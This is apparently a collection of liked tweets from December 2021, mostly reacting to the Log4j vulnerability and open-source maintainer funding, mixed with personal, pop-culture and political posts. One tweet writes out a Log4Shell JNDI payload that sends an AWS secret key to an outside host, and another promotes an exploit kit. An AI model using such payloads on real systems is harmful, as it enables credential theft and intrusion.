Kind likes

Was off work yesterday as I could barely get out of bed. Nothing has knocked me off my feet like that since I caught covid last year so I went for a PCR just in case. And now I’ve got to self-isolate as yup, I’ve got covid. Again. This is going to be a struggle

Steven Pears (@StevenPears)Tue, 14 Dec 2021 08:01 GMT

the most important HTTP request headers wizardzines.com/comics/request…

🔎Julia Evans🔍 (@b0rk)Fri, 01 Oct 2021 13:19 +0000

Log4j 2.16.0 has already announced this morning and I have just completed my 6am to 4am shift!😵‍💫World is on fire 🔥, yet it was a pleasure to do something with all Log4j developers: @rgoers @RemkoPopma @carter_kozak @jvz @GaryGregory, Ron Grabowski, Robert Middleton. 🍩

Volkan Yazıcı (@yazicivo)Tue, 14 Dec 2021 03:29 GMT

Pro tip: if you don't need the history of a git repository make sure you specify `--depth 1` to significantly speed up the download 🪄 Super useful in CIs

Minko Gechev (@mgechev)Tue, 14 Dec 2021 05:30 GMT

The balance between automating a repetitive manual task and doing the manual task periodically is incredibly tricky. It's incredibly tempting to automate things to make our lives easier. But is it actually saving you time? Or would it take over a year to be net neutral?

Laurie (@laurieontech)Mon, 13 Dec 2021 18:58 GMT

Something I really love about being involved in @nodejs is that I get to have a leadership role in a fairly large organization without having a single person "reporting" to me.

Rich Trott (@trott)Mon, 13 Dec 2021 22:04 GMT

Hey cis "allies." If we can't even trust you to stop throwing money at a transphobic YA author, how are we supposed to trust you with anything important?

Ellie 🍂 falling into winter ❄️ (@EllieSageRN)Mon, 13 Dec 2021 21:56 GMT

“Queers are too obsessed with gender!” You literally made male and female potato people as children’s toys to enforce comp het

britta_bot (christmas version) (@darkest_britta)Fri, 10 Dec 2021 18:03 GMT

this high-profile vulnerability in an open source project is really reinforcing my belief that, to a dominant portion of users, the primary important thing about free software is that it is gratis, rather than libre

cron mom (@sophaskins)Sun, 12 Dec 2021 23:58 GMT

microdosing hell by just hopping on a quick zoom call

𝙣𝙖𝙥𝙤𝙡𝙚𝙤𝙣 𝙫𝙚𝙜𝙚𝙢𝙞𝙩𝙚 (@NapVeg)Mon, 13 Dec 2021 21:07 GMT

Fixed it for you, @TIME.

Americans For Tax Fairness (@4TaxFairness)Mon, 13 Dec 2021 14:52 GMT

https://twitter.com/beka_valentine/status/1470134831262564353

but its not the log4j's responsibility to fix this in a timely fashion they didnt make any promises to any big corps about SLAs or any shit like that, and if there are **consequences** for those corps, that is FINE it might suck, but that's not the dev's responsibility

Beka Valentine (@beka_valentine)Sun, 12 Dec 2021 20:55 GMT

Everything I Made In My Kitchen For The Month Of November 🎞⏲

🐘 (@mariyyum)Sun, 12 Dec 2021 22:52 GMT

A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it. Log4j is a canonical logging utility for a huge ecosystem. Its current radius is beyond doing due diligence.

Post details

The log4j case is not a showcase for bad OSS funding. It is a showcase for naive and cheap users not doing their due diligence, code review and testing before using components. Remember goto fail? Silly bugs are shipped even with the greatest funding.

Daniel 🥌 Stenberg (@bagder)Mon, 13 Dec 2021 15:05 GMT

Jaana Dogan ヤナ ドガン (@rakyll)Mon, 13 Dec 2021 16:26 GMT

JUST TOM HOLLAND AND ZENDAYA SHARING THE SAME BRAIN CELL

gecs⁷🥀 (@agustmoon19)Sun, 12 Dec 2021 15:01 GMT

filling the room with negative energy until i have what they have

Post details

JUST TOM HOLLAND AND ZENDAYA SHARING THE SAME BRAIN CELL

gecs⁷🥀 (@agustmoon19)Sun, 12 Dec 2021 15:01 GMT

flik (@jakegyllenhalal)Sun, 12 Dec 2021 21:18 GMT

“you wouIdn’t survive a cod lobby 🤓“ u can’t survive a 5 min conversation w a girl

d🐬n (@ClitPizza)Mon, 13 Dec 2021 03:27 GMT

https://twitter.com/bagder/status/1470409522229428225

My team could spend an entire year reviewing the code from one “npm install”. I don’t think it’s really feasible to do code review across all OSS components. But funding? Absolutely.

April King 🌀 (@CubicleApril)Mon, 13 Dec 2021 15:11 GMT

Just added support to LDAP Serialized Payloads in the JNDI-Exploit-Kit. This attack path works in *ANY* java version as long the classes used in the Serialized payload are in the application classpath. Do not rely on your java version being up-to-date and update your log4j ASAP!

Márcio Almeida (@marcioalm)Mon, 13 Dec 2021 11:54 GMT

It’s very hard to add tests to code which hasn’t been written to aid testing

Richard Startin (@richardstartin)Wed, 08 Dec 2021 14:45 GMT

a security flow chart: are you about to blame the users? ➡️ NO are you about to blame developers? ➡️ NO are you about to blame overworked, underpaid open source maintainers? ➡️ NO

Ian Coldwater 📦💥 (@IanColdwater)Mon, 13 Dec 2021 16:43 GMT

https://twitter.com/slutpilled/status/1470438135058374664

gonna make this as simple as possible: i'm a woman. you being attracted to me as a man would imply heterosexual attraction

violet valentine (@slutpilled)Mon, 13 Dec 2021 17:01 GMT

i know straight men watch trans porn because they're always trying to validate their sexuality to me

violet valentine (@slutpilled)Mon, 13 Dec 2021 16:59 GMT

https://twitter.com/jpaulreed/status/1469770852677816320

I'll just leave this right here: whoownsyoursoftwaresupplychain.com

J. Paul Reed (@jpaulreed)Sat, 11 Dec 2021 21:16 GMT

https://twitter.com/zackkanter/status/1470026849023631369

Local dev a first class consideration (long way to go now) along with IaC (getting better but still often afterthought).

Brian LeRoux (@brianleroux)Sun, 12 Dec 2021 15:15 GMT

If AWS were rebuilt today, what high-level incidental complexity do you wish would be eliminated via different design decisions? E.g. issues with ARNs or URL structure, or even ‘I want regions for data sovereignty, not resiliency.’ Bonus for examples creating toil inside AWS.

Zack Kanter (@zackkanter)Sun, 12 Dec 2021 13:44 GMT

https://twitter.com/neverpilled/status/1469675906893594628

They took 2 pounds of weed 2 hand guns and $70 (SEVENTY!!!) off the street and posing like they just took down Pablo Escobar 😂😂😂😂😂😂😂😂😂😂

The Negromancer (@kokujin37)Sat, 11 Dec 2021 21:29 GMT

There’s not a single line in “Santa claus is coming to town” that makes it sound like a good thing. If it wasn’t for the jaunty tune I’d interpret it the same way as a warning the 4 horsemen of the apocalypse were arriving.

Andrew Nadeau (@TheAndrewNadeau)Mon, 13 Dec 2021 04:21 GMT

https://twitter.com/hillelogram/status/1470202746649423875

there are literal generations of coders who know that RMS is a creep but have no idea what the FSF does, or know that GNU/Linux is a meme but not why they are supposed to have ever cared

Ian Coldwater 📦💥 (@IanColdwater)Mon, 13 Dec 2021 01:35 GMT

https://twitter.com/seldo/status/1470031613174042626

Open source is free as in puppy.

Laurie Voss (@seldo)Sun, 12 Dec 2021 16:26 GMT

you want me to make a decision? the thing that killed chidi anagonye?

salwa (@evermorevan)Sun, 12 Dec 2021 18:26 GMT

I read once that people who live alongside orangutans have a belief/legend that orangutans can actually speak, but they refuse to because humans would put them to work if they knew. I think about that a lot.

i bless the rains down in castamere (@Chinchillazllla)Sun, 12 Dec 2021 16:27 GMT

https://twitter.com/jk_rowling/status/1470092815506063365

You literally have a castle and you spend your time doing this

Rob (@robrousseau)Mon, 13 Dec 2021 01:47 GMT

JK Rowling trying to make trans women out to be rapists is a new low. It’s part of the TERF tactics and it goes to show how far down the transphobia rabbit hole she’s gone. Trans women are not rapists. Trans women are women, who just want a chance to live like any other woman.

Erin, Trail Mom (@ErinInTheMorn)Mon, 13 Dec 2021 00:17 GMT

https://twitter.com/jk_rowling/status/1470092815506063365

It’s striking that J.K.Rowling only has the energy to speak out about sexual assault when it’s in service of a spurious moral panic around trans people. At the end of the day, you do just have to conclude that she’s a common garden reactionary.

Scrooge McDuck 📕 (@amphitryoniades)Sun, 12 Dec 2021 23:15 GMT

jk rowling is a bad person w/ bad politics, a childish understanding of feminism and a truly ugly spirit. it’s embarrassing to look at her tweets. it’s upsetting to watch her harm marginalized people. it’s infuriating to me as a feminist, as an assault survivor and as a woman.

jourdain searles (@judysquirrels)Mon, 13 Dec 2021 07:09 GMT

https://twitter.com/BlueLightAlarm/status/1470333871476641793

Omg stop they’ve made 1 tweet

Adam (@adamrbrts)Mon, 13 Dec 2021 10:06 GMT

A rare insightful comment on the orange site: news.ycombinator.com/item?id=295252… "Open source is not broken".

Danack (@MrDanack)Sun, 12 Dec 2021 22:11 GMT

The eruption of The Fagradalsfjall volcano, Iceland. Photo by Arnar Kristjansson

Diane Doniol-Valcroze (@ddoniolvalcroze)Sun, 12 Dec 2021 17:07 GMT

To everyone astonished at how wide-spread Java usage really is: what you've just seen is just the stuff using Log4J2. ;)

Lars Rosenquist (@larsrosenquist)Sun, 12 Dec 2021 11:24 GMT

don't forget you can get those sweet environment variables ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.mydogsbutt.com}

DilDog (@dildog)Sat, 11 Dec 2021 21:48 GMT

A whole lot of engineers worked all weekend and deserve the week off. Friendly reminder that you should give it to them.

emily freeman (@editingemily)Mon, 13 Dec 2021 06:06 GMT

Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.

Matthew Prince 🌥 (@eastdakota)Sat, 11 Dec 2021 22:47 GMT

I’ve tried very hard to find out who made this but it sadly just pops up on Imgur without any credits. So, with that disclaimer made, I desperately need people to know that I *love* this.

Charble Garble 🏳️‍🌈🇸🇪 (@charlottegore)Sat, 11 Dec 2021 21:39 GMT

Been thinking about the maintainers of log4j2 a ton this weekend. I'm so thankful for open source. While I get to maintain projects with support from my employer - most do this entirely with spare time Maintainers deserve our thanks (and sponsorships!) for their work 🤗🙏

Jeff Hollan (@jeffhollan)Sun, 12 Dec 2021 17:16 GMT

Something I do every December is clear out my Pocket queue and YouTube watch later list I spend a lot of time reading all the articles I’ve been putting off or I delete them It feels so nice starting a new year with no backlog. Highly recommend 🤘

Justin Garrison (@rothgar)Mon, 13 Dec 2021 06:23 GMT